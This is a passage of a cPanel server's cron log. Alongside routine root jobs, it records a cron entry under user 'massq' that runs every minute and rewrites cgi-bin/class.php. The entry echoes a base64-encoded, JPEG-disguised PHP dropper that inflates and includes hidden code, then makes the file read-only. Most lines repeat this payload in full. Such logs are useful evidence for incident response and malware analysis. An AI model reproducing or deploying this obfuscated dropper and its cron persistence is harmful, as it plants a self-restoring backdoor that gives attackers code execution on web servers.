KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:09:02 server CROND[21487]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 06:10:01 server CROND[21553]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 06:10:01 server CROND[21554]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 06:10:01 server CROND[21556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:10:01 server CROND[21555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 06:11:01 server CROND[21676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:12:01 server CROND[21775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:12:01 server CROND[21776]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 06:13:01 server CROND[21933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:14:01 server CROND[22004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:15:01 server CROND[22070]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 06:15:01 server CROND[22073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 06:15:01 server CROND[22074]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  6 06:15:01 server CROND[22072]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  6 06:15:01 server CROND[22075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:16:01 server CROND[22224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:17:01 server CROND[22274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:18:01 server CROND[22437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:19:01 server CROND[22502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:20:01 server CROND[22563]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 06:20:01 server CROND[22564]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 06:20:01 server CROND[22566]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 06:20:01 server CROND[22567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:20:01 server CROND[22565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 06:21:01 server CROND[22684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:22:01 server CROND[22736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
